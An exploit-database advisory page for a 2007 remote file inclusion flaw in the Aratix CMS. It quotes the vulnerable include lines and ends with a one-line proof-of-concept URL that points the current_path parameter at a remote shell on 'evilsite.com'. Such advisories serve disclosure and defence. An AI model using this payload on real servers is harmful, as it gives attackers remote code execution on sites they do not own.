Aratix - exploit.company

vendor:

Aratix

by:

nuffsaid

7.5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: Aratix

Affected Version From: Aratix <= 0.2.2 beta 11

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Aratix <= 0.2.2b11 (inc/init.inc.php) Remote File Include Vulnerability

Aratix inc/init.inc.php does not initialize the $current_path variable before using it to include files, assuming register_globals = on, we can initialize the variable in a query string and include a remote file of our choice.

Mitigation:

Unknown

Source

Exploit-DB raw data:

+-------------------------------------------------------------------------------------------
+ Aratix <= 0.2.2b11 (inc/init.inc.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.aratix.de/
+ Affected Software .: Aratix <= 0.2.2 beta 11
+ Download ..........: http://download.xitara.net/aratix/aratix-0.2.2beta11.tar.gz
+ Description .......: "Aratix is the next generation of CMS and Groupware"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Aratix inc/init.inc.php does not initialize the $current_path variable before using it to
+ include files, assuming register_globals = on, we can initialize the variable in a query
+ string and include a remote file of our choice.
+
+ Vulnerable Code:
+ inc/init.inc.php, line(s) 16-41:
+ -> 16: include $current_path . 'inc/session.inc.php';
+ -> 17: include $current_path . 'inc/pages.inc.php';
+ -> 18: include $current_path . 'inc/modules.inc.php';
+ -> 33: include $current_path . 'inc/functions.inc.php'; // Zusätzliche Funktionen einbinden
+ -> 41: include $current_path . 'extern/smarty/Smarty.class.php';
+
+ Proof Of Concept:
+ http://[target]/[path]/inc/init.inc.php?current_path=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-04]